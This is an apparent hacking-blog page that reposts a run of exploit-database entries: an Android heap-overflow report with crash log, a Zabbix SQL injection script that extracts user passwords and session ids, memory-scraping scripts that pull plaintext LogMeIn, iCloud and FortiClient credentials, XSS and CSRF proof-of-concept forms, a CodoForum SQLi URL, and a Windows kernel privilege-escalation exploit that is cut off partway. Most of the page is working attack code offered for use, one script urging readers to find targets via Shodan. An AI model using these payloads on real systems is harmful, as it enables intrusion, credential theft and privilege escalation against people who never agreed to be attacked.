Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863131713

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=840

There's an inconsistency between the way that the two functions in libutils/Unicode.cpp handle invalid surrogate pairs in UTF16, resulting in a mismatch between the size calculated by utf16_to_utf8_length and the number of bytes written by utf16_to_utf8.

This results in a heap-buffer-overflow; one route to this code is the String8 constructor initialising a String8 from a String16. This can be reached via binder calls to the core system service "android.security.keystore" from a normal app context without any additional permissions. There are probably other routes to reach this code with attacker controlled data.

ssize_t utf16_to_utf8_length(const char16_t *src, size_t src_len)
{
  if (src == NULL || src_len == 0) {
    return -1;
  }

  size_t ret = 0;
  const char16_t* const end = src + src_len;
  while (src < end) {
    if ((*src & 0xFC00) == 0xD800 && (src + 1) < end
        && (*++src & 0xFC00) == 0xDC00) { // <---- increment src here even if condition is false
      // surrogate pairs are always 4 bytes.
      ret += 4;
      src++;
    } else {
      ret += utf32_codepoint_utf8_length((char32_t) *src++); // <---- increment src again
    }
  }
  return ret;
}

void utf16_to_utf8(const char16_t* src, size_t src_len, char* dst)
{
  if (src == NULL || src_len == 0 || dst == NULL) {
    return;
  }

  const char16_t* cur_utf16 = src;
  const char16_t* const end_utf16 = src + src_len;
  char *cur = dst;
  while (cur_utf16 < end_utf16) {
    char32_t utf32;
    // surrogate pairs
    if((*cur_utf16 & 0xFC00) == 0xD800 && (cur_utf16 + 1) < end_utf16
       && (*(cur_utf16 + 1) & 0xFC00) == 0xDC00) { // <---- no increment if condition is false
      utf32 = (*cur_utf16++ - 0xD800) << 10;
      utf32 |= *cur_utf16++ - 0xDC00;
      utf32 += 0x10000;
    } else {
      utf32 = (char32_t) *cur_utf16++; // <---- increment src
    }
    const size_t len = utf32_codepoint_utf8_length(utf32);
    utf32_codepoint_to_utf8((uint8_t*)cur, utf32, len);
    cur += len;
  }
  *cur = '\0';
}

An example character sequence would be the following:

\x41\xd8 \x41\xd8 \x41\xdc \x00\x00

This will be processed by utf16_to_utf8_len like this:

first loop iteration:

\x41\xd8 \x41\xd8 \x41\xdc \x00\x00
^
invalid surrogate; skip at (*++src & 0xfc00 == 0xdc00)

\x41\xd8 \x41\xd8 \x41\xdc \x00\x00
         ^ 
         invalid surrogate; emit length 0 at (utf32_codepoint_utf8_length(*src++))

second loop iteration:

\x41\xd8 \x41\xd8 \x41\xdc \x00\x00
                  ^ 
                  invalid surrogate; emit length 0 at (utf32_codepoint_utf8_length(*src++))

And will be processed by utf16_to_utf8 like this:

first loop iteration:

\x41\xd8 \x41\xd8 \x41\xdc \x00\x00
^
invalid surrogate; write 0 length character to output

second loop iteration

\x41\xd8 \x41\xd8 \x41\xdc \x00\x00
         ^ 
         valid surrogate pair 0xd841 0xdc41; emit length 4 character to output

We can then construct a crash PoC using this sequence for the String16 passed to the keystore method 'getKeyCharacteristics' that will perform the String8(String16&) constructor on attacker supplied input; and provide a massive input string. The crash PoC should write 0x20000 * 2/3 bytes into a 2 byte heap allocation. It has been tested on a recent nexus5x userdebug build; resulting in the following crash (the object backing an android::vectorImpl has been corrupted by the overwrite, and "\xf0\xa0\x91\x81" is the utf8 encoding for the utf16 "\x41\xd8 \x41\xdc"):

pid: 16669, tid: 16669, name: keystore  >>> /system/bin/keystore <<<
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x91a0f08191a110
    x0   8191a0f08191a108  x1   0000000000000000  x2   0000000000000000  x3   0000000000000020
    x4   00000000ffffffa0  x5   0000000000000010  x6   0000000000000001  x7   0000007f802c0018
    x8   0000000000000000  x9   000000000a7c5ac5  x10  0000000000000000  x11  0000000000000000
    x12  000000000000d841  x13  0000000000000841  x14  0000000000000041  x15  0000007f8067bd9e
    x16  0000005565984f08  x17  0000007f80aeee48  x18  00000000ffffff91  x19  0000007fd1de26c0
    x20  8191a0f08191a108  x21  8191a0f08191a0f0  x22  0000000000000000  x23  0000005565984000
    x24  8191a0f08191a0f0  x25  0000007fd1dea7b8  x26  0000007f806690e0  x27  0000007fd1de25d0
    x28  000000556596f000  x29  0000007fd1de2550  x30  0000005565961188
    sp   0000007fd1de2550  pc   0000007f80aeee58  pstate 0000000060000000

backtrace:
    #00 pc 0000000000016e58  /system/lib64/libutils.so (_ZN7android10VectorImpl13editArrayImplEv+16)
    #01 pc 000000000000a184  /system/bin/keystore
    #02 pc 00000000000112d0  /system/bin/keystore
    #03 pc 000000000000b7f4  /system/lib64/libkeystore_binder.so (_ZN7android17BnKeystoreService10onTransactEjRKNS_6ParcelEPS1_j+1560)
    #04 pc 0000000000024c9c  /system/lib64/libbinder.so (_ZN7android7BBinder8transactEjRKNS_6ParcelEPS1_j+168)
    #05 pc 000000000002dd98  /system/lib64/libbinder.so (_ZN7android14IPCThreadState14executeCommandEi+1240)
    #06 pc 000000000002de4c  /system/lib64/libbinder.so (_ZN7android14IPCThreadState20getAndExecuteCommandEv+140)
    #07 pc 000000000002def4  /system/lib64/libbinder.so (_ZN7android14IPCThreadState14joinThreadPoolEb+76)
    #08 pc 0000000000007a04  /system/bin/keystore (main+1940)
    #09 pc 000000000001bc98  /system/lib64/libc.so (__libc_init+100)
    #10 pc 0000000000007c20  /system/bin/keystore

######################################################

Actually you can compromise many native system services using this bug (ie those not implemented in Java); because of the interface token checking code in Parcel.cpp. See attached for another PoC that takes as a first command line argument the name of the service to crash. On my nexus 5x with very unscientific testing, this includes the following services:

 - phone, iphonesubinfo, isub (com.android.phone)
 - telecom, voiceinteraction, backup, audio, location, notification, connectivity, wifi, network_management, statusbar, device_policy, mount, input_method, window, content, account, telephony.registry, user, package, batterystats (system_server)
 - media.audio_policy, media.audio_flinger (mediaserver)
 - drm.drmManager (drmserver)
 - android.security.keystore (keystore)
 - SurfaceFlinger (surfaceflinger)
 
bool Parcel::enforceInterface(const String16& interface,
                              IPCThreadState* threadState) const
{
    int32_t strictPolicy = readInt32();
    if (threadState == NULL) {
        threadState = IPCThreadState::self();
    }
    if ((threadState->getLastTransactionBinderFlags() &
         IBinder::FLAG_ONEWAY) != 0) {
      // For one-way calls, the callee is running entirely
      // disconnected from the caller, so disable StrictMode entirely.
      // Not only does disk/network usage not impact the caller, but
      // there's no way to commuicate back any violations anyway.
      threadState->setStrictModePolicy(0);
    } else {
      threadState->setStrictModePolicy(strictPolicy);
    }
    const String16 str(readString16());
    if (str == interface) {
        return true;
    } else {
        ALOGW("**** enforceInterface() expected '%s' but read '%s'",
                String8(interface).string(), String8(str).string());
        return false;
    }
}



Proofs of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40354.zip
            
# Exploit Title: 2.0 < Zabbix < 3.0.4 SQL Injection Python PoC
# Data: 20-08-2016
# Software Link: www.zabbix.com
# Exploit Author: Unknown(http://seclists.org/fulldisclosure/2016/Aug/82)
# Version: Zabbix 2.0-3.0.x(<3.0.4)

# PoC Author: Zzzians
# Contact: Zzzians@gmail.com
# Test on: Linux (Debian/CentOS/Ubuntu)

# -*- coding: utf_8 -*-
# Use Shodan or and enjoy :)
# Comb the intranet for zabbix and enjoy :)
import sys,os,re,urllib2
def Inject(url,sql,reg):
    payload = url + "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=" + urllib2.quote(
        sql) + "&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&filter_task=&mark_color=1"
    try:
        response = urllib2.urlopen(payload, timeout=20).read()
    except Exception, msg:
        print '\t\tOpps,an error occurs...',msg
    else:
        result_reg = re.compile(reg)
        results = result_reg.findall(response)
        print payload #Uncomment this to see details
        if results:
            return results[0]
def exploit(url,userid):
    passwd_sql = "(select 1 from (select count(*),concat((select(select concat(cast(concat(alias,0x7e,passwd,0x7e) as char),0x7e)) from zabbix.users LIMIT "+str(userid-1)+",1),floor(rand(0)*2))x from information_schema.tables group by x)a)"
    session_sql="(select 1 from (select count(*),concat((select(select concat(cast(concat(sessionid,0x7e,userid,0x7e,status) as char),0x7e)) from zabbix.sessions where status=0 and userid="+str(userid)+" LIMIT 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"
    password = Inject(url,passwd_sql,r"Duplicate\s*entry\s*'(.+?)~~")
    if(password):
        print '[+]Username~Password : %s' % password
    else:
        print '[-]Get Password Failed'
    session_id = Inject(url,session_sql,r"Duplicate\s*entry\s*'(.+?)~")
    if(session_id):
        print "[+]Session_id:%s" % session_id
    else:
        print "[-]Get Session id Failed"
    print '\n'
        
def main():
    print '=' * 70
    print '\t    2.0.x?  <  Zabbix  <  3.0.4 SQL Inject Python Exploit Poc'
    print '\t\t    Author:Zzzians(Zzzians@gmail.com)'
    print '\t    Reference:http://seclists.org/fulldisclosure/2016/Aug/82'
    print '\t\t\t    Time:2016-08-20\n'
    urls = ["http://10.15.5.86"]
    ids = [1,2]
    for url in urls:
        if url[-1] != '/': url += '/'
        print '='*25 +  url + '='*25
        for userid in ids:
	        exploit(url,userid)
main()
            
Jobberbase:			http://www.jobberbase.com/
Version:			2.0
By Ross Marks: 		http://www.rossmarks.co.uk

1) Local path disclosure - change any variable to an array and in most cases it will tell you the local path where the application is installed
	eg. http://example.com/api/api.php?action=getJobs&type[]=0&category=0&count=5&random=1&days_behind=7&response=js
	returns: Array to string conversion in <b>/var/www/jobberbase/_lib/class.Job.php</b>

2) Open redirect - when submitting an application can change "Referer:" header to anything and will redirect there

3) reflect XSS in username - http://example.com/admin/
		eg. "><script>alert(1)</script>
	reflect XSS in search: http://example.com/search/|<img src="x" onError="alert(1)">/

4) persistant XSS on admin backend homepage
		create a job and give the URL:
		" onhover="alert(1)
	persistant XSS - admin add to category name (no protection)

5) unrestricted file upload
	upload CV accepts any filetype appends _ uniqueid() to filename
	eg. "file.php" becomes "file_<uniqueid>.php"
	uniquid in in insecure method for generating random sequences and is based on microtime
	if the server is using an older version of PHP a null byte can be used 
	ie. "test.php%00.php" would be uploaded as "test.php"

6) code execution race condition:
	if the admin has chosen to not store uploaded CV's 
	they are first moved from /tmp to the writable /upload directory before being unlinked
	this gives a brief window of opportunity for an attacker to run http://example.com/uploads/file.php before it is deleted

7) SQL injection in http://example.com/api/api.php?action=getJobs&type=0&category=0&count=5&random=1&days_behind=7&response=js
	days_behind parameter is vulnerable

** notes **

admin change password page don't need old password, no csrf token just a simple POST request.
admin password stored in md5 format unsalted
cookies do NOT have "secure" or "HTTPonly" flags enabled
no csrf anywhere
            
#####
# LogMeIn Client v1.3.2462 (64bit) Local Credentials Disclosure
# Tested on Windows Windows Server 2012 R2 64bit, English
# Vendor Homepage @ https://secure.logmein.com/home/en
# Date 06/09/2016
# Bug Discovery by:
#
# Alexander Korznikov (https://www.linkedin.com/in/nopernik)
# http://korznikov.com/
#
# Viktor Minin (https://www.linkedin.com/in/MininViktor)
# https://1-33-7.com/
#
# Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
# http://www.black-rose.ml
#
#####
# LogMeIn Client v1.3.2462 is vulnerable to local credentials disclosure, the supplied username and password are stored in a plaintext format in memory process.
# A potential attacker could reveal the supplied username and password in order to gain access to account and associated computers.
#####
# Proof-Of-Concept Code:

import time
import urllib
from winappdbg import Debug, Process

username	= ''
password	= ''
found		= 0
filename 	= "LMIIgnition.exe"
process_pid = 0
memory_dump	= []

debug = Debug()
try:
	print "[~] Searching for pid by process name '%s'.." % (filename)
	time.sleep(1)
	debug.system.scan_processes()
	for (process, process_name) in debug.system.find_processes_by_filename(filename):
		process_pid = process.get_pid()
	if process_pid is not 0:
		print "[+] Found process with pid #%d" % (process_pid)
		time.sleep(1)
		print "[~] Trying to read memory for pid #%d" % (process_pid)
		
		process = Process(process_pid)
		for address in process.search_bytes('\x26\x5F\x5F\x56\x49\x45\x57\x53\x54\x41\x54\x45\x3D'):
			memory_dump.append(process.read(address,150))
		for i in range(len(memory_dump[0])):
			email_addr 	= memory_dump[i].split('email=')[1]
			tmp_passwd 	= memory_dump[i].split('password=')[1]
			username	= email_addr.split('&hiddenEmail=')[0]
			password	= tmp_passwd.split('&rememberMe=')[0]
			if username != '' and password !='':
				found = 1
				print "[+] Credentials found!\r\n----------------------------------------"
				print "[+] Username: %s" % urllib.unquote_plus(username)
				print "[+] Password: %s" % password
				break
		if found == 0:
			print "[-] Credentials not found! Make sure the client is connected."
	else:
		print "[-] No process found with name '%s'." % (filename)
	
	debug.loop()
finally:
    debug.stop()
            
#####
# Apple iCloud Desktop Client v5.2.1.0 Local Credentials Disclosure After Sign Out Exploit
# Tested on Windows Windows 7 64bit, English
# Vendor Homepage 	@ https://www.apple.com/
# Product Homepage 	@ https://support.apple.com/en-us/HT204283
# Date 07/09/2016
# Bug Discovery by:
#
# Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
# http://www.black-rose.ml
#
# Viktor Minin (https://www.linkedin.com/in/MininViktor)
# https://1-33-7.com/
#
# Alexander Korznikov (https://www.linkedin.com/in/nopernik)
# http://korznikov.com/
#
#####
# Apple iCloud Desktop Client v5.2.1.0 is vulnerable to local credentials disclosure after the user is logged out.
# It seems that iCloud does not store the supplied credentials while the user is logged in, but after sign out the supplied username and password are stored in a plaintext format in memory process.
# Funny eh?!
# A potential attacker could reveal the supplied username and password in order to gain access to iCloud account.
#
# Authors are not responsible for any misuse or demage which caused by use of this script code.
# Please use responsibly.
#####
# Proof-Of-Concept Code:

import time
import urllib
from winappdbg import Debug, Process

def b2h(str):
    return ''.join(["%02X " % ord(x) for x in str]).strip()

def h2b(str):
	bytes = []
	str = ''.join(str.split(" "))
	for i in range(0, len(str), 2):
		bytes.append(chr(int(str[i:i+2], 16)))
	return ''.join(bytes)

usr			= ''
pwd			= ''
found		= 0
filename 	= "iCloud.exe"
process_pid = 0
memory_dump	= []

debug = Debug()
try:
	print "#########################################################################"
	print "#\tApple iCloud v5.2.1.0 Local Credentials Disclosure Exploit\t#"
	print "#   Bug Discovery by Yakir Wizman, Victor Minin, Alexander Korznikov\t#"
	print "#\t\tTested on Windows Windows 7 64bit, English\t\t#"
	print "#\t\t\tPlease use responsibly.\t\t\t\t#"
	print "#########################################################################\r\n"
	print "[~] Searching for pid by process name '%s'.." % (filename)
	time.sleep(1)
	debug.system.scan_processes()
	for (process, process_name) in debug.system.find_processes_by_filename(filename):
		process_pid = process.get_pid()
	if process_pid is not 0:
		print "[+] Found process with pid #%d" % (process_pid)
		time.sleep(1)
		print "[~] Trying to read memory for pid #%d" % (process_pid)
		
		process = Process(process_pid)
		for address in process.search_bytes('\x88\x38\xB7\xAE\x73\x8C\x07\x00\x0A\x16'):
			memory_dump.append(process.read(address,50))
		
		try:
			str = b2h(memory_dump[0]).split('88 38 B7 AE 73 8C 07 00 0A 16')[1]
			usr = h2b(str.split(' 00')[0])
		except:
			pass
			
		memory_dump	= []
		for address in process.search_bytes('\x65\x00\x88\x38\xB7\xAE\x73\x8C\x07\x00\x02\x09'):
			memory_dump.append(process.read(address,60))
		try:
			str = b2h(memory_dump[0]).split('07 00 02 09')[1]
			pwd = h2b(str.split(' 00')[0])
		except:
			pass
		
		if usr != '' and pwd !='':
			found = 1
			print "[+] iCloud Credentials found!\r\n----------------------------------------"
			print "[+] Username: %s" % usr
			print "[+] Password: %s" % pwd
		if found == 0:
			print "[-] Credentials not found!"
	else:
		print "[-] No process found with name '%s'." % (filename)
	
	debug.loop()
finally:
    debug.stop()
            
'''
Title       : Extracting clear text passwords from running processes(FortiClient)
CVE-ID                  : none
Product                : FortiClient SSLVPN
Service                 : FortiTray.exe
Affected              : <=5.4
Impact                  : Critical
Remote                : No
Website link       : http://forticlient.com/
Reported             : 31/08/2016
Authors                : Viktor Minin                     https://1-33-7.com
                                  Alexander Korznikov    http://korznikov.com
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
In our research which involved this program we found that this process store the credentials that you supplied for connecting, in clear text in the process memory.
In this situation a potential attacker who hacked your system can reveal your Username and Password steal and use them.
This may assist him in gaining persistence access to your Organization LAN network.
'''

from winappdbg import Debug, Process, HexDump
import sys

filename = "FortiTray.exe"                          # Process name
search_string = "fortissl"                              # pattern to get offset when the credentials stored

# Searching function
def memory_search( pid, strings ):
                process = Process( pid )
                mem_dump = []
                                                                ######
                                                                # You could also use process.search_regexp to use regular expressions,
                                                                # or process.search_text for Unicode strings,
                                                                # or process.search_hexa for raw bytes represented in hex.
                                                                ######
                for address in process.search_bytes( strings ):
                                dump = process.read(address-10,800)                             #Dump 810 bytes from process memory
                                mem_dump.append(dump)
                                for i in mem_dump:
                                                if "FortiClient SSLVPN offline" in i:                       #print all founds results by offsets to the screen.
                                                                print "\n"
                                                                print " [+] Address and port to connect: " + str(i[136:180])
                                                                print " [+] UserName: " + str(i[677:685])
                                                                print " [+] Password: " + str(i[705:715])
                                                                print "\n"

debug = Debug()
try:
                # Lookup the currently running processes.
                debug.system.scan_processes()
                # Look for all processes that match the requested filename...
                for ( process, name ) in debug.system.find_processes_by_filename( filename ):
                                pid = process.get_pid()
                                memory_search(pid,search_string)
finally:
                debug.stop()
            
<?php
#############################################################################
## PHP 7.0 JsonSerializable::jsonSerialize json_encode Local Denial of Service
## Tested on Windows Server 2012 R2 64bit, English, PHP 7.0
## Date: 31/08/2016
## Local Denial of Service
## Bug discovered by Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
## http://www.black-rose.ml
#############################################################################
class jsonTmp implements JsonSerializable {
	function jsonSerialize() {
		$jsonTmp = new jsonTmp();
		return $jsonTmp;
	}
}
json_encode(new jsonTmp());
?>
            
<!--

ZKTeco ZKAccess Security System 5.3.1 Stored XSS Vulnerability


Vendor: ZKTeco Inc. | Xiamen ZKTeco Biometric Identification Technology Co.,ltd
Product web page: http://www.zkteco.com
Affected version: 5.3.12252

Summary: ZKAccess Systems are built on flexible, open technology to provide
management, real-time monitoring, and control of your access control system-all
from a browser, with no additional software to install. Our secure Web-hosted
infrastructure and centralized online administration reduce your IT costs and
allow you to easily manage all of your access points in a single location. C3-100's
versatile design features take care of present and future needs with ease and
efficiency. It is one of the most rugged and reliable controllers on the market,
with a multitude of built-in features. The C3-100 can communicate at 38.4 Kbps
via RS-485 configuration or Ethernet TCP/IP networks. It can store up to 30,000
cardholders.

Desc: Input passed to the 'holiday_name' and 'memo' POST parameters is not properly
sanitised before being returned to the user. This can be exploited to execute
arbitrary HTML and script code in a user's browser session in context of an affected
site.

Tested on: CherryPy/3.1.0beta3 WSGI Server
           Firmware: AC Ver 4.1.9 3893-07 Jan 6 2016
           Python 2.6


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5368
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5368.php


18.07.2016

-->


<html>
  <body>
    <form action="http://127.0.0.1/data/iaccess/AccHolidays/_new_/?_lock=1" method="POST">
      <input type="hidden" name="pk" value="None" />
      <input type="hidden" name="holiday&#95;name" value=""><script>alert&#40;1&#41;<&#47;script>" />
      <input type="hidden" name="holiday&#95;type" value="1" />
      <input type="hidden" name="start&#95;date" value="09&#47;13&#47;2016" />
      <input type="hidden" name="end&#95;date" value="10&#47;18&#47;2016" />
      <input type="hidden" name="loop&#95;by&#95;year" value="2" />
      <input type="hidden" name="memo" value=""><script>alert&#40;2&#41;<&#47;script>" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
            
1. Advisory Information
========================================
Title			: CodoForum <= 3.2.1 Remote SQL Injection Vulnerability
Vendor Homepage		: https://codoforum.com/
Remotely Exploitable	: Yes
Versions Affected	: Prior to 3.2.1
Tested on		: Ubuntu (Apache) | PHP 5.5.9 | MySQL 5.5
Vulnerability		: SQL Injection (Critical/High)
Date			: 23.07.2016
Author			: Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
 
 
2. CREDIT
========================================
This vulnerability was identified during penetration test by Yakir Wizman
  

3. Description
========================================
The script that parses the request URL and displays user profile depending on
the retrieved id does not use proper input validation against SQL injection.


4. TECHNICAL DETAILS & POC
========================================
SQL Injection Proof of Concept
----------------------------------------
Example for fetching current user database:
http://server/forum/index.php?u=/user/profile/1%20AND%20(SELECT%202*(IF((SELECT%20*%20FROM%20(SELECT%20CONCAT((MID((IFNULL(CAST(CURRENT_USER()%20AS%20CHAR),0x20)),1,451))))s),%208446744073709551610,%208446744073709551610)))


5. SOLUTION
========================================
Upgrade to the latest version v3.4 build 19
            

Iris ID IrisAccess ICU 7000-2 Multiple XSS and CSRF Vulnerabilities


Vendor: Iris ID, Inc.
Product web page: http://www.irisid.com
Affected version: ICU Software: 1.00.08
                  ICU OS: 1.3.8
                  ICU File system: 1.3.8
                  EIF Firmware [Channel 1]: 1.9
                  EIF Firmware [Channel 2]: 1.9
                  Iris TwoPi: 1.4.5

Summary: The ICU 7000-2 is an optional component used when the client requires
iris template data to be matched on the secure side of the door. When using ICU
no data is stored in the iCAM7 Iris Reader itself. The ICU also ensures that portal
operation can continue if the there is an interruption in communication with the
host computer. In such circumstances, the ICU retains the records of portal activity,
then automatically updates the host upon resumption of host communication. Every
ICU in the iCAM4000 / 7 series runs on a LINUX OS for added reliability. Independent
and fault tolerant, ICUs are connected up to 2 iCAMs and handle up to 100,000 users.

Desc: The application is prone to multiple reflected cross-site scripting vulnerabilities
due to a failure to properly sanitize user-supplied input to the 'HidChannelID' and
'HidVerForPHP' POST parameters in the 'SetSmarcardSettings.php' script. Attackers can
exploit this issue to execute arbitrary HTML and script code in a user's browser session.
The application also allows users to perform certain actions via HTTP requests without
performing any validity checks to verify the requests. This can be exploited to perform
certain actions with administrative privileges if a logged-in user visits a malicious web
site.

Tested on: GNU/Linux 3.0.51 (armv7l)
           mylighttpd v1.0
           PHP/5.5.13


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5345
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5345.php


06.05.2016

--


XSS PoC:
--------

POST /html/SetSmarcardSettings.php HTTP/1.1
Host: 10.0.0.17
Connection: close
Content-Length: x
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzczxmPRCR0fYr2SO
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.8

------WebKitFormBoundaryzczxmPRCR0fYr2SO
Content-Disposition: form-data; name="HidChannelID"

2"><script>alert(1)</script>
------WebKitFormBoundaryzczxmPRCR0fYr2SO
Content-Disposition: form-data; name="HidcmbBook"

0
------WebKitFormBoundaryzczxmPRCR0fYr2SO
Content-Disposition: form-data; name="cmbBook"

0
------WebKitFormBoundaryzczxmPRCR0fYr2SO
Content-Disposition: form-data; name="HidDisOffSet"

13
------WebKitFormBoundaryzczxmPRCR0fYr2SO
Content-Disposition: form-data; name="txtOffSet"

13
------WebKitFormBoundaryzczxmPRCR0fYr2SO
Content-Disposition: form-data; name="HidDataFormat"

1
------WebKitFormBoundaryzczxmPRCR0fYr2SO
Content-Disposition: form-data; name="HidDataFormatVal"

1
------WebKitFormBoundaryzczxmPRCR0fYr2SO
Content-Disposition: form-data; name="DataFormat"

1
------WebKitFormBoundaryzczxmPRCR0fYr2SO
Content-Disposition: form-data; name="HidFileAvailable"

0
------WebKitFormBoundaryzczxmPRCR0fYr2SO
Content-Disposition: form-data; name="HidEncryAlg"

0
------WebKitFormBoundaryzczxmPRCR0fYr2SO
Content-Disposition: form-data; name="EncryAlg"

0
------WebKitFormBoundaryzczxmPRCR0fYr2SO
Content-Disposition: form-data; name="HidFileType"

0
------WebKitFormBoundaryzczxmPRCR0fYr2SO
Content-Disposition: form-data; name="HidIsFileSelect"

0
------WebKitFormBoundaryzczxmPRCR0fYr2SO
Content-Disposition: form-data; name="HidUseAsProxCard"

0
------WebKitFormBoundaryzczxmPRCR0fYr2SO
Content-Disposition: form-data; name="HidVerForPHP"

1.00.08"><script>alert(2)</script>
------WebKitFormBoundaryzczxmPRCR0fYr2SO--



CSRF PoC:
---------

<html>
  <body>
    <form action="http://10.0.0.17/cgi-bin/SetRS422Settings" method="POST">
      <input type="hidden" name="HidChannelID" value="2" />
      <input type="hidden" name="RS422State" value="0" />
      <input type="hidden" name="HidRS422BitsSec" value="9" />
      <input type="hidden" name="HidRS422DataBits" value="3" />
      <input type="hidden" name="HidRS422Parity" value="1" />
      <input type="hidden" name="HidRS422StopBits" value="2" />
      <input type="hidden" name="HidRS422StartCharLength" value="2" />
      <input type="hidden" name="HidRS422EndCharLength" value="2" />
      <input type="hidden" name="HidRS422StartOne" value="7F" />
      <input type="hidden" name="HidRS422StartTwo" value="F7" />
      <input type="hidden" name="HidRS422EndOne" value="0D" />
      <input type="hidden" name="HidRS422EndTwo" value="0A" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
            
/*
    CVE-2013-1406 exploitation PoC
    by Artem Shishkin,
    Positive Research,
    Positive Technologies,
    02-2013
*/

void __stdcall FireShell(DWORD dwSomeParam)
{
    EscalatePrivileges(hProcessToElevate);
    // Equate the stack and quit the cycle
#ifndef _AMD64_
    __asm
    {
        pop ebx
        pop edi
        push 0xFFFFFFF8
        push 0xA010043
    }
#endif
}


HANDLE LookupObjectHandle(PSYSTEM_HANDLE_INFORMATION_EX pHandleTable, PVOID pObjectAddr, DWORD dwProcessID = 0)
{
    HANDLE            hResult = 0;
    DWORD            dwLookupProcessID = dwProcessID;

    if (pHandleTable == NULL)
    {
        printf("Ain't funny\n");
        return 0;
    }

    if (dwLookupProcessID == 0)
    {
        dwLookupProcessID = GetCurrentProcessId();
    }

    for (unsigned int i = 0; i < pHandleTable->NumberOfHandles; i++)
    {
        if ((pHandleTable->Handles[i].UniqueProcessId == (HANDLE)dwLookupProcessID) && (pHandleTable->Handles[i].Object == pObjectAddr))
        {
            hResult = pHandleTable->Handles[i].HandleValue;
            break;
        }
    }

    return hResult;
}

PVOID LookupObjectAddress(PSYSTEM_HANDLE_INFORMATION_EX pHandleTable, HANDLE hObject, DWORD dwProcessID = 0)
{
    PVOID    pResult = 0;
    DWORD    dwLookupProcessID = dwProcessID;

    if (pHandleTable == NULL)
    {
        printf("Ain't funny\n");
        return 0;
    }

    if (dwLookupProcessID == 0)
    {
        dwLookupProcessID = GetCurrentProcessId();
    }

    for (unsigned int i = 0; i < pHandleTable->NumberOfHandles; i++)
    {
        if ((pHandleTable->Handles[i].UniqueProcessId == (HANDLE)dwLookupProcessID) && (pHandleTable->Handles[i].HandleValue == hObject))
        {
            pResult = (HANDLE)pHandleTable->Handles[i].Object;
            break;
        }
    }

    return pResult;
}

void CloseTableHandle(PSYSTEM_HANDLE_INFORMATION_EX pHandleTable, HANDLE hObject, DWORD dwProcessID = 0)
{
    DWORD    dwLookupProcessID = dwProcessID;

    if (pHandleTable == NULL)
    {
        printf("Ain't funny\n");
        return;
    }

    if (dwLookupProcessID == 0)
    {
        dwLookupProcessID = GetCurrentProcessId();
    }

    for (unsigned int i = 0; i < pHandleTable->NumberOfHandles; i++)
    {
        if ((pHandleTable->Handles[i].UniqueProcessId == (HANDLE)dwLookupProcessID) && (pHandleTable->Handles[i].HandleValue == hObject))
        {
            pHandleTable->Handles[i].Object = NULL;
            pHandleTable->Handles[i].HandleValue = NULL;
            break;
        }
    }

    return;
}

void PoolSpray()
{
    // Init used native API function
    lpNtQuerySystemInformation NtQuerySystemInformation = (lpNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQuerySystemInformation");
    if (NtQuerySystemInformation == NULL)
    {
        printf("Such a fail...\n");
        return;
    }
    
    // Determine object size
    // xp: 
    //const DWORD_PTR dwSemaphoreSize = 0x38;
    // 7:
    //const DWORD_PTR dwSemaphoreSize = 0x48;

    DWORD_PTR dwSemaphoreSize = 0;

    if (LOBYTE(GetVersion()) == 5)
    {
        dwSemaphoreSize = 0x38;
    }
    else if (LOBYTE(GetVersion()) == 6)
    {
        dwSemaphoreSize = 0x48;
    }

    unsigned int cycleCount = 0;
    while (cycleCount < 50000)
    {
        HANDLE hTemp = CreateSemaphore(NULL, 0, 3, NULL);
        if (hTemp == NULL)
        {
            break;
        }

        ++cycleCount;
    }

    printf("\t[+] Spawned lots of semaphores\n");

    printf("\t[.] Initing pool windows\n");
    Sleep(2000);

    DWORD dwNeeded = 4096;
    NTSTATUS status = 0xFFFFFFFF;
    PVOID pBuf = VirtualAlloc(NULL, 4096, MEM_COMMIT, PAGE_READWRITE);

    while (true)
    {
        status = NtQuerySystemInformation(SystemExtendedHandleInformation, pBuf, dwNeeded, NULL);
        if (status != STATUS_SUCCESS)
        {
            dwNeeded *= 2;
            VirtualFree(pBuf, 0, MEM_RELEASE);
            pBuf = VirtualAlloc(NULL, dwNeeded, MEM_COMMIT, PAGE_READWRITE);
        }
        else
        {
            break;
        }
    };

    HANDLE hHandlesToClose[0x30] = {0};
    DWORD dwCurPID = GetCurrentProcessId();
    PSYSTEM_HANDLE_INFORMATION_EX pHandleTable = (PSYSTEM_HANDLE_INFORMATION_EX)pBuf;

    for (ULONG i = 0; i < pHandleTable->NumberOfHandles; i++)
    {
